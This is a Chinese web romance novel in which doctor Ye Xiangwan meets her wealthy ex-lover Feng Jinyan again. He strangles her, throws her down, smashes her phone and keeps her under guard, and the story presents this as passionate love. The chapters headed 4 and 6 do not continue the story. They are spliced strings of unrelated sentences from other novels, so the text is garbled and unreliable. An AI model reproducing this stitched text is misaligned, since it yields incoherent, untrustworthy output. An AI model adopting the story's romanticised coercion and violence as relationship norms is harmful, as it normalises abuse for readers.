《为她破戒,禁欲封爷日日轻声哄》 1:相遇 医院。 叶向晚正在给一个女孩子包扎膝盖上的伤口,她侧目拿药箱,却看到了六年未见的封瑾言,她整个人顿时愣在当场。 男人的面容依旧如六年前那般俊逸,只不过看她的时候,眉眼间多了一丝寒意。 封瑾言他回来了…… 京城深秋的温度已经有些凉,风穿堂而过带着点萧瑟的味道把叶向晚混沌的脑子吹得清醒了些。 她深吸一口气,看着封瑾言缓缓站起身。 “叶向晚!” 封瑾言眯起眼慢条斯理地打量着她,语气里带着毫不掩饰的冷讽:“看来我今儿出门没看黄历。” “瑾言哥,你们……认识?”女孩子陆雨瑶疑惑的问。 “认识?” 封瑾言嗤笑一声,双手揣兜向叶向晚走过来:“她这种女人配认识我?” 叶向晚胸口剧烈起伏了两下,她看着那个曾经满心满眼都是她的少年,如今穿着一身黑色西装,身形挺拔健硕,带着满身戾气站定在她面前,恍若隔世。 下一秒,谁都没来得及反应,封瑾言抬手将她整个人按在墙上。 “你怎么还有脸出现在我面前?嗯?” 每个字都像被牙齿咬碎了一遍才吐出来,眼眸里带着深深灼痛的愤恨。 叶向晚感觉似乎有一双手在撕扯着她的心肺,但她却自虐般贪婪地看着那双颜色浅淡的眸子,胃痛到整个人都在微微发抖,却不舍移开双眸分毫。 “这是做什么?!我叫警卫了啊!” 突然旁边的男医生厉声喊着跑过来。 “呵。” 封瑾言皱起眉头松开手,骨节显眼有力的指尖以一种极其缓慢的速度,重重摩挲着叶向晚的脸颊:“你这张脸还是这么有用。” 叶向晚微微仰头,感受到脸颊处被封瑾言指腹燥炙热的肌肤滑过,她紧咬牙关,如此近的距离,近到鼻腔里充斥着那熟悉又陌生的味道,让她大脑眩晕。 “我没事,大家都工作去吧!” 她努力克制声音的平稳,定定地看着封瑾言,宽松的白大褂里指甲已刺入掌心。 半晌后她闭了闭眼,用只有两个人能听见的声音说:“你不怕被人说闲话吗?” “怕?!”封瑾言骤然失笑:“叶向晚,你以为……” 话未完,叶向晚突然挤开人群,迈着大步往前走,风把她的衣角掀得飞起,她越走越快,头也不回的近乎是逃命一般。 她不想听见封瑾言如此恶语相向,更无法忍受那满眼的讥讽和憎恨。 走进更衣室,她刚要回手带上门,“砰”的一声,一只大掌拍在门板上,力量之大震得她往后倒退了几步。 封瑾言站在门口,一手撑着门框,满眼的冰寒:“我话还没说完你敢走?” “你……” 叶向晚深吸了口气,太阳穴突突直跳:“你要干什么?” “干什么?” 封瑾言冷笑一声把其中一个字咬得很重,长腿重重的踢上门,落锁后一个箭步上前掐着叶向晚的颈项,推着她重重撞在了墙上。 “封瑾言……” 叶向晚闷哼一声,感觉自己的动脉被拇指用力压住,喉咙被迫收紧的痛苦让她下意识抓住了封瑾言的手腕。 “你也配叫我名字?嗯?!” 封瑾言指尖骤然收紧,小臂肌肉绷直,青筋凸起。 可见他真的想掐死她。 “咳……咳咳咳咳……” 叶向晚控制不住的剧烈咳嗽起来,但她却松开了握着封瑾言手腕的手,那姿态几乎任人宰割。 窒息的痛让她眼前有些模糊,可却依旧能感受到封瑾言冷冽的眼神,几乎把她灵魂割裂。 片刻后喉间压力骤减,她眼前发花,捂着脖子弓下身,大口大口地喘了半天的气。 “真没想到屏幕都裂了你竟然还舍不得扔?” 封瑾言看向刚刚从她手中夺过来的手机,看着裂开的屏幕,眼里的戾气转为讥讽:“怎么?没钱了么?你收的那几百万分手费都用哪去了?你可别说都被你的野男人给花完了。” 叶向晚猛地直起腰盯着他,牙齿死死咬住唇。 “怎么?” 封瑾言高大的身子压过来,一只大掌撑在她脸侧的墙上:“看你这表情,被我说中了?” 叶向晚感觉五脏六腑都像要被碾碎成块一样痛,她抬手猛地推开封瑾言:“你说够了没有!” 封瑾言往后退了几步,眼神里的黯淡一闪而过,他眯了眯眼:“你敢做还怕我说?!” “事情不是你以为的那样!”叶向晚咬着唇瓣想解释。 封瑾言失笑:“那你给我说说是哪样?!六年前你为了别的男人跟我家人要钱,甚至还骗我,现在还不承认?来,你接着给我编,我看看事情究竟还能是什么样!” 叶向晚看着封瑾言血红的双眼,唇瓣颤抖着,却一句话也说不出来。 见她沉默,封瑾言把她手机用力摔在她脚边:“叶向晚,你就是个狼心狗肺的女人!我最后居然还抱着一点幻想,想着你会来找我解释,结果等来的确是你的背叛。” 叶向晚紧靠在墙上,感受着心脏传来密密实实的痛,双手发颤。 她爱的男人,现在却恨她入骨。 “有一个问题……”封瑾言眼神锋利,眉眼间却带着一丝悲戚:“六年前我就一直想问。” 叶向晚看着封瑾言岑薄的唇一开一合,慢慢怔住了。 “你当初真的……从头到尾只是利用我得到更多的钱?” 叶向晚呆愣愣地看着封瑾言,六年不见,她还以为这个男人早已不是记忆中的模样,结果没想到,还是那个看上去不近人情,实际却是个内心柔软且不失深情的男人。 叶向晚苦笑着叹了口气,轻声道:“我……” “算了,我现在问你这个还有什么意义。” 话还没说完,突然外边传来几声惊慌失措的尖叫,紧接着就是杂乱的吼叫以及东西碎裂的混乱声。 屋里两人皆是一怔,但叶向晚很快就反应过来,转身冲出了门。 今天急诊的患者很多,大多都行动不便,她有些担心医院被闹会波及这些人,一路飞奔过去。 PS:本文别名:【爱在尘埃中绽放】 重虐微甜,男主对女主没什么怜香惜玉,女主也毫不示弱,相爱相杀,情感拉扯…… 2:矛盾 拐弯就看见乌泱泱一群人挤在大厅抢拳头,为首的一名医生脸上居然已经见了血。 叶向晚冲进人堆,抓着闹事男人的胳膊用力一拧,然后抬膝对着他后腰顶去,突然只听周围一片惊呼,她还没来得及意识到什么,就被人用力推了出去。 “嘶!” 叶向晚回头,只见封瑾言左手按着右胳膊,俊眉微蹙,紧接着她就看到一个男人手里举着个沉重的点滴架站在原地,神色慌乱。 “都给我停手!” 封瑾言低喝一声,将近一米九的个子在人群中非常有威慑力。 瞬间所有人都安静了下来,但过了两秒,却爆发出了异常激烈的议论声。 封瑾言这张完美无俦的脸,在京城几乎是家喻户晓。 封家在商界拥有举足轻重的地位,可谓是京城的大佬,而身为封家唯一的继承人封瑾言身份自然显赫,这样的他注定耀眼非凡。 而在所有人都因为见到封瑾言而激动的时候,叶向晚却倒抽一口气,她飞速冲到封瑾言面前抬手摸了摸他的右臂。 封瑾言想抽回胳膊。 “别动,骨折了。” 叶向晚紧皱眉头,看着他额角冒出的细汗心口情绪翻涌,转身拽着男人左手胳膊就往人群外走去,身后的喧哗被赶来的警卫拦住了。 走出人堆封瑾言便抽回了自己的胳膊,叶向晚脚步一顿却也没回头,只是沉默的继续往前走。 封瑾言知道她要带自己去拍片,便沉默的走在她身后,两人一前一后的来到拍片室,拍好片后,叶向晚找主任亲自治疗。 一个小时后,叶向晚望向吊着右臂,一脸淡然的靠在椅背上的封瑾言低声道:“谢谢。” 封瑾言嗤了一声,眉眼间竟是冷意:“你别自以为是,我受伤不是为了你。刚才那么乱,你们都穿着白大褂,要是我认出来是你,绝对不会拦着。” 叶向晚有些茫然地看向封瑾言。 他真的是没认出自己吗? 可如果他认来了…… 叶向晚不敢再往下想。 她闭了闭眼,毕竟没有希望就不会失望,这是她长久以来的规则。 沉默半晌她才开口道:“你肯定要上新闻了,不用去安排人解决吗?” 封家的大少,若上了头条,自然是不好的。 封瑾言冷笑:“就这么急着赶我走?你可还真是没变,从里到外只认钱。” 叶向晚皱起眉,弯腰把地上摔得面目全非的手机捡起来,虽然还开着机,但屏幕点着扎手。 她透过蜘蛛网一样的玻璃识别出时间,发现吃饭肯定是来不及了。 她转身看向封瑾言:“抱歉,我有事先走了,你……” “走?我这样你要走?” 封瑾言睨着她都气笑了:“你不过只是个医生,有这么忙?还是说你又要上哪个富二代的床?” “我一会有家教。” 叶向晚咬牙忍下了,她语气里明晃晃的刺,找了张便签纸写下了自己的手机号:“你如果……” “不用去。” 封瑾言一把拽过叶向晚的手腕,用左手从钱包里掏出了一张卡甩在桌子上:“想要多少拿多少,包你一个月,一会跟我回去。” 一张薄薄的卡片和多年前那女人鄙夷的眼神相呼应,她虽没做对什么,但也并没做错什么,可母子俩都以各自极其轻蔑的姿态踩在了她的自尊上。 叶向晚低头看着那张卡突然特想笑,她这辈子也不会忘记,那女人看着自己狼狈不堪地站在ICU前时,笑得有多开心。 索性也没忍,她撑着桌子低头轻笑了一会,结果越到后来越觉得荒谬又可悲,几乎笑到浑身发颤也没停下来。 饶是自认为最了解她的封瑾言,也没见过她这副模样,记忆里这个女人一直都是认真独立地做着任何事,只有和自己在一起的时候才会像个小女人一般依赖着他。 封瑾言看着眼前有些陌生的叶向晚,眉心微蹙:“笑什么?!” 封瑾言拉着她的手腕把她拽起身,两人都死死锁住对方的眼睛,针锋相对。 “封瑾言,我是医生,不是出来卖的。” 叶向晚收住笑容,声音冷得像挂着冰渣。 “呵,装清高?” 封瑾言捏着她的手越发用力:“你和卖的有什么区别?叶向晚,这么会演,不去当演员真是可惜了你的演技。” 叶向晚垂眸看着自己手背上,因为被捏的血液回流受阻而鼓起的血管,她深吸一口气,用力甩开那炽热的大掌。 封瑾言反应不及被对方睁开,他再次抓住她的肩膀又掰了回来,那力气攥得人生疼。 “你够了吧!” 叶向晚用力推开他:“你别逼我报警!” 话音刚落,叶向晚只觉眼前一花天旋地转。 “咚!” 叶向晚整个人被重重摔在地上,痛得她连声音都没发出来,她难以置信地扶着额头,恍惚了半天都没缓过劲。 “报警?天真!” 封瑾言在她身侧整理了一下衣衫,逆着光的脸看不出表情,但声音却阴沉的有些嘶哑:“叶向晚,我们如果永远不见当初的事情也许就算了,但今天被我逮住,你这辈子,就再也别想好过。” 叶向晚侧躺在冰凉的地上眼前发黑,突然一阵剧烈的胃绞痛,让她不得不蜷起身子。 这六年间她和家里断绝了来往,自己挣钱,自己租房,为了还那女人的债更是忙得脚不沾地,于是几乎把自己的胃造完了。 那胃不能熬夜,不能吃凉的,不能饿着,更不能情绪不好,否则一定会疼得死去活来。 结果她今天不但没有按时吃饭,身心俱疲地她还被前男友粗鲁对待。 “嗯?不舒服?” 封瑾言的声音在头顶响起,叶向晚微微睁开眼睛,余光扫了她一下,又无力地闭上了。 “又在演?” 封瑾言嘴上虽然这么说,但声音却透着担心,他看着叶向晚发白的唇和额头冒出来的细汗,还是俯身将人抱起放坐在沙发上。 “还继续演?!” 封瑾言居高临下的睨着她:“我摔你的时候有注意分寸,想要讹钱我给你,你别装。” 3:难堪 见对方脸色越来越白,封瑾言眉心微微蹙起:“你这突然犯什么病?要叫医生?” “……不用。”叶向晚有气无力的吐出一句:“我就是医生……” “你疼成这样自己怎么给自己治?我去找其他医生来。” “不用……我缓一会就好。” 叶向晚拉着他,心里不由得有点暖,这男人心里还是关心她的。 “真不用让医生看看?” “嗯。” 叶向晚抬头,轻轻抓着男人的袖口没松开,封瑾言也没有扯开,拽着他袖口的五指紧了紧,过了好一会才渐渐松下来。 两人就维持着这个姿势,谁也没有动,谁也没有说话,空气里一种让人心脏发痒的气氛逐渐弥漫开来,让人呼吸都不由得放轻。 直到门突然被轻轻敲响。 “谁?” 封瑾言低沉的出声,这样的气氛突然被打扰,脸色有些沉。 “瑾言哥是我。” 陆雨瑶娇滴滴的声音隔着门板传来。 封瑾言打开门,除了陆雨瑶,身后还跟进来了八个身形高大的保镖以及他的助理凌展易。 “封爷,你的胳膊……” 见封瑾言的隔壁受伤,凌展易吓一跳,封瑾言毫不在意:“没事,这一阵有的出差去不了,你安排一下。” “可是封爷,海城那边……” 封瑾言一个眼神过去,助理连忙闭上了嘴。 “瑾言哥,都怪我,如果我不打电话叫你来医院陪我,你就不会受伤了。”陆雨瑶抱住封瑾言的胳膊,满脸的歉意:“瑾言哥,对不起……” 封瑾言摸了摸她头,眼里带着柔和:“不用道歉,我不碍事。” 叶向晚有些虚弱的靠在椅背上,冷眼旁观这一幕。 这女孩应该是封瑾言的女朋友吧?! 封瑾言这样温柔的眼神,以前只对她一人。 现在,却不再是她了。 她感觉心脏抽着疼了一下,虽然当初分手是自己提出来的,但却还是忍不住的难受。 不过没关系,毕竟这样的人生路线才是封瑾言该走的,和门当户对的女孩谈恋爱,然后结婚生子,风风光光过完一生。 “瑾言哥,我们回去吧!” “嗯。”封瑾言转身睨了一眼叶向晚:“把她带上车!” 凌展易有点蒙:“带这个医生?” “我不去。” 叶向晚撑着椅子站了起来:“我说了,我一会还要去家教。” “缺钱缺成这样?” 封瑾言眯了眯眼:“你现在这德行不怕给人家孩子吓着?说了包你一个月,把那卡拿着,跟我一起回去。” 话音一落,病房里的气氛瞬间变得非常诡异,几个不明所以的人呆呆杵在原地,面面相觑。 不知道是没反应过来一直品行端正封大总裁竟然当众包养女人?! 一直没仔细注意叶向晚的陆雨瑶这才看向她的脸,莫名的有种危机感。 难不成瑾言哥跟这个女医生有不寻常的关系? 叶向晚瞪着封瑾言,脸上青一阵白一阵,她颤声道:“有种你绑我去。” “呵。” 封瑾言一把抢过她的手机,强迫着按着她的手指解了锁,然后一掌拍开她伸过来抢夺的手,迅速拨通了一个电话。 在“嘟嘟”的呼叫声中封瑾言看着叶向晚摇摇头:“联系人还是这么少的可怜,你不觉得你这二十几年过得有点可悲?” 叶向晚唇瓣动了动,却无法反驳。 是啊,可悲。 “喂,你好,你的家教老师受伤骨折,她这个月都去不了,不好意思。” 封瑾言声音低沉,带着点和对叶向晚时完全没有的礼貌。 挂掉电话封瑾言突然把手机摔在地上,然后一脚踩上去狠狠碾碎。 “封瑾言!” 叶向晚吼了他一声,气得牙都要咬出血。 “走吧!” 封瑾言看着一地残骸勾唇冷笑着,然后抬了下手,几个保镖就围上前来。 叶向晚忍着舌根泛起的苦涩,面无表情地拿起那张银行卡,“咔嚓”一声掰成了两半,抬手扔到封瑾言身上,随后走出了门。 深秋的夜暗得早,静谧的别墅区只有车行驶声音空空回荡,连成片的璀璨灯火把周围映得奢华绚丽。 两分钟后车停在了一座非常气派的豪宅前。 “少爷您可算回来了!” 老管家守在门口急急忙忙赶上前:“哎呦,您这胳膊……” “孙伯,我没事。”封瑾言语调淡然:“这一阵我会在家办公几天,你帮我把客房收拾一下。” “有客人呀?” 孙伯语调欢快,但当他偏头看到叶向晚的瞬间,脸色却骤变,愣了半天才说道:“这这这不是……” “孙伯,好久不见。” 叶向晚轻轻点了下头,然后平静地跟着封瑾言走上了二楼卧室。 封瑾言关上门,口吻带着不容置喙的命令:“过来帮我把衣服脱了。” 叶向晚闭了闭眼,望着这太过熟悉又好久不见的房间有些唏嘘,她把有些翻涌的情绪暗自压下,走过去抬手,一个扣子一个扣子地解开了封瑾言的外套。 幸亏西装外套比较宽松,她小心翼翼地把袖子从右手手臂上拽下来,刚一抬头却撞上了男人幽深的眼眸。 一瞬间,叶向晚好像看见了从未见过的复杂眼神,以前封瑾言眼里的情绪总是很容易看懂,无论是开心、愤怒亦或是其他,都是毫不掩饰的直白。 封瑾言似乎没想到她会抬头,顿了一瞬,冷峻淡然的催促:“快点。” 这时电话就响了起来,他推开叶向晚的手毫不避嫌地接起电话。 “瑾言哥!你到家了吗?” 因为屋子里分外安静,两人离得又近,陆雨瑶甜甜的声音清清楚楚地传进了叶向晚的耳朵。 “嗯,有事?” “没事呀,”陆雨瑶娇俏地笑了两声:“我没事就不能给你打电话嘛?” 封瑾言睨了眼看上去依旧波澜不惊的叶向晚,轻笑一声:“可以。” “瑾言哥……你跟那个女医生很熟悉吗?” 封瑾言的视线一直在叶向晚身上,听到对方的问题,他只顿了一下便回答:“没什么关系。” “那你怎么还说……包她一个月啊?” 4:软禁 她微叹了一口气,从他们的身上扯下布条,施了灵力在上面,再让戴上。 当对方真的把照片从收集中找出来,萧筱再三查看,确认自己真的没有看错,才让对方把照片私发给她。 她话音落下,视线就飘向不远处,就见轿子两边的帘子已经被一只手轻轻掀开,男人身着白衣,一尘不染却勾勒出极为完美的身形,面容清冷,五官如雕刻一般,就犹如谪仙一般,从轿中缓缓走出。 此时此刻的曲英杰在曲染看来,就跟当初的自己是一模一样的,为了岳芯蕊,为了心中的爱恋,即便是牺牲所有,他也豁出去了。 这一点也没有让陈诗如意外,或者说,她的目的只是要生下孩子,而并不是要让黎叙给她一个名分,黎叙也从来没有想过要给她名分。 萧筱看着手机屏幕上显示的手机号码,并不是她所熟知的,犹豫了好久还是接听了起来。 说着,楚灵儿一下子就扑到了秦昊的身上,两条白嫩修长的大腿环住后者的腰间,双手搂住秦昊的脖子。 他们冲撞的时候,直接撞死数百个法则生灵,这让他二人都受到了极大的反伤,不得不退回来。 上一次也是这样,好想回应…却突然笑了出来,感觉仿佛不笑就会很奇怪似的,话到嘴边说不出口。 九重天上,还有三重天,但是却是迷迷茫茫,即便是他们修为已达神境,也都是看不通透,只感觉那里大道气息浓郁至极,蕴含了各种道韵,无尽大道仿佛都是从那里诞生。 感觉到我无力地进入了睡眠,金夜炫才缓缓地放开了我,嘴角抹出一丝无奈却好笑的笑容。 黑风狡黠地抿了抿嘴唇,立直了身子,将镜头转向了另一侧,紧接着,画面中出现了另外一个他们所熟悉的背影,她正吃力地站立着,身体摇摇欲坠,而他们却无法看清她的正面。 赵蕙和李振国坐着缆车上到沙丘顶部就跳了下来,又来到滑沙场地排队,几分钟以后,他们便坐上了滑沙板,从沙丘顶部顺着滑道滑了下来。 她在梦里或哭或笑,在他的怀中挣扎却又温顺,到最后,这一切的一切,全都湮没在无边无际的黑暗之中。 就如他给她这一点温情,她的心理就产生了这样巨大的变化一样,更何况那样爱他的周楚楚呢? 而刚刚穿越阵法禁制禁锢的人,在一秒钟之前心里还无比的窃喜,可是下一秒,他就笑不出来了。一个张牙舞爪的‘林风’向他扑来,让他惊骇欲绝。 “我没事的,就是看见你们都回家了,心里难受。”维罗妮卡努力挤出一丝笑容,却比哭也差不了多少。 “这里要是有其他人就好了,那样的话,我们就可以浑水摸鱼,到里面去看看。”另一人说道。 当克莫尔议长终于忍不住回顾和倾吐自己之前的不安,坐在一旁的华系亚方面军总参谋长徐晓红,一脸郁闷地骂了一句。 这也是本市当中唯一的一家孤儿院,坐落在县城的最中心位置,但是我向当地人打听一下,很少人听说过,无奈之下经过一上午的寻找才找到了这个家孤儿院的所在地,但是当我们来到这里的时候发现孤儿院早就已经不在了。 但试探宁墨的表现,他们先前应该是相识的,且关系应该不是一般的点头之交。 真灵瞳破开眼前的黑色,看见正向她靠近的三头真灵,居中那只面目模糊看不清五官的怪物张开嘴,露出黑漆漆的内里,那黑色仿佛深渊。 千辛万苦,韩九九各种问路总算是在上课之前找到了自己的班级位置。 他以为报上名号后,许晚晚就会对他态度大变,结果许晚晚依旧冷脸。 何芙睁大眼睛,看着庄栩栩高挑的身子瞬间倒在直,鲜血从胸口处浸出来,染红了银色的礼服。而她离庄栩栩很近,脸上溅上了她的鲜血。 我们告别的老头子,然后走到苞米地里面,开始沿着那个车路过的痕迹,继续寻找。 整个晚上我什么都没干,就在茶几上一边吃着饭一边看着新闻,希望在地方新闻上能看到这具尸体的出现,同时又担心被发现。 她记得,之前阿西还特意的在她面前提了那么一嘴,说是四姑父是个不错的知府,为云州府做了不少利民的事情。 若是能知道李荣华在什么时候接触过自己,也许就能找到李荣华的弱点,控制李荣华,今日的事情也就可以当做没有什么事情。 一双眼睛死死盯着段如瑕,大有段如瑕若是不耍这剑舞,她便要当场降罪于她的架势。 唐月绯只是摇头苦笑,内心倒是蛮好奇这家伙和陆城碰上会是什么样的局面。 李强的手臂刚因为反弹创伤而后退,紧跟着陆城的下一剑就出了手。 “是!”重重地应和后,仿佛重获新生的树鬼恭然退出了这间整个地界最神秘的所在。 段如瑕抚着胸口咳了几咳,嘴唇尚且有些泛白,脖间也印出了几道指印。 5:狠绝 让她当牛做马不算,还要用陆雨瑶侮辱自己,为了折磨她也算是煞费苦心了。 叶向晚味同嚼蜡的吃完早饭,回房间换上了昨天因为被摔在地上,而有些脏污褶皱的衣服走向大门。 “哎哎哎叶小姐!”孙伯慌慌张张的跑过来:“您这是要干嘛去呀?现在外边早上这么冷,您出去了也没用啊,步行的话最少要三个小时才能看见个可能有出租车的……” “我知道。” 叶向晚绕开孙伯,一把推开了别墅大门,迎头走进寒凉的秋风里。 她把自己的大衣领子裹紧,却依旧有些抗不住嗖嗖灌进身体的冷风。 今天抬头不见太阳只有灰蒙厚重的云层,宽阔的柏油路上,朝前向后全都空无一人。 叶向晚本以为自己已经习惯了这种无人可靠的状态,可现在心里却逐渐弥漫出一种难以名状的痛楚。 因为父母,她不去交朋友,因为封瑾言她离开了家,最后又因为喜欢,她把心挖空后,放手了。 她不知道自己的人生还剩下什么,只是如同现在一样,茫然而机械的往前走着,看不见尽头,没有希望,孤身一人。 不知过了多久,不知走了多远,她终于看见了印象中的那家便利店。 风吹得她的腿几乎僵直,她有些狼狈地一步步挪到台前,向收银员借了手机。 就像封瑾言说的,她的联系人少得可怜,所以几乎每个人的电话都能记住,她先打给医院请了半天的假,然后又拨通了一串号码。 “喂。” 话筒那边一个非常优雅的女声,带了点常年身居高位的傲慢,招呼都没打就质问道:“你和我儿子见面了?” “……见过了。”叶向晚沉声答了句。 “什么该说该做不用我提醒你了吧?” 霍思卿吐字慢条斯理:“我知道你是个聪明孩子。” 叶向晚嘴角勾起一抹冷笑:“我当然知道分寸,可是您儿子刚刚却替我挡了一棍子呢。” 果不其然,那边沉默了半晌,语气不再运筹帷幄:“你不要太放肆了,你……” “钱收到了吧?” 叶向晚冷漠地打断她的教训:“我说了我不会再跟他有什么关系,他想走的路我绝不当绊脚石,你应该比谁都清楚,反而是你应该管好自己的儿子,不要让他别再纠缠我。” 叶向晚五指攥的乏白,封瑾言的纠缠之于她来说就像是撒了蜜糖的毒药,就算心脏溃烂可味道甘甜,让她变得鲜血淋漓却也无法割舍。 上一次她被迫做先松手的那个人,结果痛得六年都没有缓过来,这次她情愿是最后那个被玩腻了扔掉的。 “钱我收到了。” 电话那边沉吟了片刻:“我现在不在国内,一个月后回去,我有事找你见面谈。” 叶向晚下意识就想拒绝,可下个月不出意外应该是她最后一次还钱了,两清的时候见一面也好,以后各行各路互不相欠。 所幸钱包还在身上,叶向晚挂了电话让店员帮忙叫了辆车,然后就闭上眼睛靠住墙休息。 没一会,耳边突然响起敲玻璃的声音,她有些疑惑的睁开眼,看见个头脸都遮得严严实实的人,披着的外套里边有一只修长的胳膊被吊起,姿势慵懒地靠在玻璃上,冲她勾了勾手指。 叶向晚猛地坐直身体,她没想到封瑾言居然会来找她。 就在怔愣的瞬间,从门口进来了四个浑身黑衣的保镖,冲她微微躬身:“叶小姐,以后的一个月里,每天早上您可以自行走三个多小时,再坐车上班,但下班我们都会去医院接您,这是封爷的命令,请您好自为之。” 这时窗户突然被敲响,封瑾言摘下了口罩,语调如嗜血般:“你跑不掉的,死也得死在我手上。” 叶向晚咬着唇瓣,终究什么也没说,只不过眼神无比的黯淡。 -- “瑾言哥你终于回来啦!” 叶向晚脚步一顿,她望着这座豪华的巨大囚笼感觉有些呼吸不畅。 陆雨瑶穿着一身logo显眼的古驰长裙,从二楼有些兴奋又不失气质地快步走下来,看样子在封瑾言的卧室里等了有一会。 “诶?叶医生你真的被包……” 她表情有些难看地住了嘴,眼神在叶向晚身上逡巡,在那有些脏污褶皱的过夜衣服上停留了一会。 叶向晚沉默地回视,大概正牌女友看见小三就是这种鄙夷的眼神吧。 封瑾言却似乎完全没注意到气氛的诡异,冲陆雨瑶看了一眼:“以后你有什么吩咐也可以叫她。” 说罢走过去轻轻环住了她的腰,陆雨瑶下意识动作一僵,眼神有些诧异地看了一眼腰上的大手才开口道:“好啊,那就麻烦叶医生……” “我不是保姆,受伤的也不是她,”叶向晚压住胸腔里的怒火,望向着封瑾言,“你叫我可以,但她不行。还有……” 她没给封瑾言说话的机会,迅速把大衣脱下来甩手扔到了男人身上,“昨天被你弄脏了,一会给我换套新的。” 说罢,她不等封瑾言有什么反应,转身快步上楼,回了客房,锁上门。 封瑾言俊逸的眉眼瞬间沉了下来,快步来到叶向晚的房间:“叶向晚,出来。” 里面的叶向晚并未回应,把手在外边被粗暴拧了几下,然后门板“彭”地闷响了一声。 她没有理会,而是径直走进卫生间冲了个热水澡,这一早上她真的有些冻透了。 叶向晚站在花洒下,任水流从头顶一路向下滑落,就像心脏里往外汨汨流着的血一般。 六年前隐瞒分手的真相她的确是心甘情愿,可不代表她不会痛。 当初封瑾言有多爱她,现在她的心就有多痛。 封瑾言从小就有着显赫的身世,也有着远超人的俊朗外表,这样一个耀眼的男人,她觉得自己配不上他,所以在六年前,在他母亲的为难下,她选择做一个恶人,提出分手。 即便痛苦,她也不会后悔。 可是当这一切心甘情愿全部转化为封瑾言对自己的憎恨时,心脏还是会不可抑制地泛起阵阵闷痛。 6:行尸走肉 从埋骨之地里传来几声猫头鹰的鸣叫声,秦浩南也管不了那么多,带着队伍直接便走了进去。 这村跟义村不一样,也没啥猫腻,村里扣着一个又一个的温室大棚。 他怎么也没想到这天道的身份如此的复杂,算计如此的厉害,甚至野心如此的巨大。 就这样你来我往,五六千人骑兵焦灼一战,虽然双方忽悠伤亡,但是总体来看,楼烦对赵军大约是二比一,这还是因为赵军使用不熟练的原因造成的。 “怎么样,可不可以?”伍逍遥用殷切的眼神望着愁眉苦脸的婧宸。 “并不是我狠心要去死!是这位尊贵的太子一定要我从这里离开,叫我回狐仙岛……”姜毓红没有死成,眼泪就像掉了线似的珠子,噼里啪啦向下落个不停。 心性磨炼至今,自己已经能做到在这种事情上保持足够的冷静了。 甚至一些擂台的裁判长老,都被吸引了过来。人潮将那座擂台给围了个水泄不通。有一些人干脆飞到了空中去观看比赛,可谓热闹非凡。 “它们不敢进来?”朱林不敢置信的说道,但是事实又确实如此。 季可欣微笑着点点头,表示自己可以看见世人不可见的魂泪与东西。 转眼前三年己过,盖天成服下了三枚丹药,也因此多了十年的寿命。头发看起来己不是那么的白了,皮肤也有了血色。 走进一区,王浩明现周若娟还保持着他晚上走之前的那个姿势,蒙着头,缩着身子。 “看来他们已经帮你解决了你的问题,”高纯宇不经意的流露出这样一句话来。 云明见邪阳天等人退去,这才松下一口气,背后衣衫也沾紧一片。天龙寺主等人又惊又赞,竟没想到以云明一人之力竟挡下邪阳天等人,迫使邪阳天撤出。 皇帝冷冷地瞧着他,目光缓缓上移,回到沾满血渍的手掌上,伤的明明是手,为什么痛的却是心呢? 为此,夏浩然也没少动脑筋,但思来想去,也只能为他们准备好一切条件,并尽量去创造一些机会,让他们逐渐的改变原有的传统观念,从而达到自己心中的夙求。 看到这里,安依晨再也坐不住了,于是挥舞起手中的筷子,和夏浩然一起抢起菜来。 园子里的茉莉,庭中的白玉兰花依稀带着晶莹剔透的水珠,只不知是清晨的露珠还是夜间未凝的雨水。 白冰高举着一只手,冰剑刚凝结出一半的形体,愣了三秒钟,她突然尖叫着丢剑护住了身体的私处。 这就是林艳妮,性情爽直,说话毫不留情面。李辰的下属中,也只有她敢在李辰面前自称姑奶奶。她那年轻的助理忍不住噗呲笑出声来,连忙低头捂住嘴。 时谨言撮合的李淑慧跟自己老爹在一起,那自然不能不对李淑慧负责。 “躲不掉也没办法,反正他们真的抓了我,也不敢把我怎么着。我可是受了皇上的命令,这才回来的。要是胡家人胡搅蛮缠,我也不是任人拿捏的软柿子。”罗青一身傲气,自然是不会屈服于胡长武的。 云希目光如炬,向上官言伸出手掌,上官言露出一抹豪情笑意,与云希击掌而势。 然后何尘就感觉到了从甄红的身上骤然爆发出了强烈的能量波动,这股能量强行把何尘周围空间的灵气灌进了他的体内,然后开始按照特定的路线缓缓运转起来。 虞硚慌忙去够滑到边上的手机。虞雪后面又说了什么,她也没心思听了,只想着赶紧找到物业。 “所以,我现在等于剑神了?”何尘激动的声音都有些颤抖了。他已经开始幻想自己随手一剑开山裂石的场面了。 “可是军校把这些D级的都拿去当学生了,不浪费吗?”何尘有些疑惑,这时候不是正是缺人的时候吗?还搞培训? 见杨安宁依旧听话,杨子松了口气,随即自嘲的笑了笑,他在紧张什么? 我看着眼前两人互相不服对方的眼神,我说一下这次的规则,第一,点到为止,不要伤了和气。第二,这次比试不能用灵力,纯武技pk。 面对突然从虚空中现身的战舟编队,负责守卫的落魂宗修士都吓傻了。 而苏照则是不明所以的疑惑的看着沈老爷子的背影。看着他们有说什么,倒也是默默的跟在沈涵的旁边。 熟悉的怀抱,熟悉的温度就在身边,花璇玑就像一个久未归家的游子一般享受着烨华那温暖的怀抱,然而,还没等她完全的好好享受一番,肚子上的刺痛让她顿时一抽。 可能是因为烨华的情绪太为激动,说完最后一个字后,口腔一阵腥甜,紧接着,一大口血便毫无预兆的喷涌而出。 7:封母的为难 “叶向晚,他已经……死了。” 一只手拉着她的胳膊往后拽下了床。 “不行不行!不可以!!不可以……” 叶向晚双目失焦地看着那具身体,一遍一遍地摇头,突然不知道哪里涌上来的力气,她猛地挣脱了身后的人,一步跨到男孩身边。 她伸出抖得不像样子的手,轻轻撑开了男孩的眼皮,陡然间浑身剧震。 那双完全异于活人的,黑洞洞地,没有生气的瞳孔,仿佛吞噬了周围空气里最后一丝暖意,不再有光,冰凉刺骨。 女人撕心裂肺的哀嚎声像蛇缠绕身体一般冰凉地渗入每一个毛孔,让人汗毛倒竖,流不完的泪水从遍布血丝的双眼里涌出,刺得叶向晚喘不上气来。 她被她疯狂地撕扯着衣服,吼着听不清的句子,突然间胃里一阵翻江倒海。 叶向晚捂住嘴猛地挣开女人的双手冲到旁边的洗手池,她趴在上边开始疯狂呕吐,胃不停的痉挛着,像是在被一只无形的手死命蹂躏着。 吐到后来叶向晚已经完全吐不出东西,可她还在抑制不住地干呕,那样子似乎是要把这一个月以来,因为封瑾言而遭受的恶心全部宣泄出来。 她双手撑着冷白的瓷砖,紧握得指尖泛青。 她想不明白,为什么所有她喜欢的,珍视的东西,都会以各种形式离她而去? 她已经什么都没有了,唯一能做的只有治病救人,可结果呢? 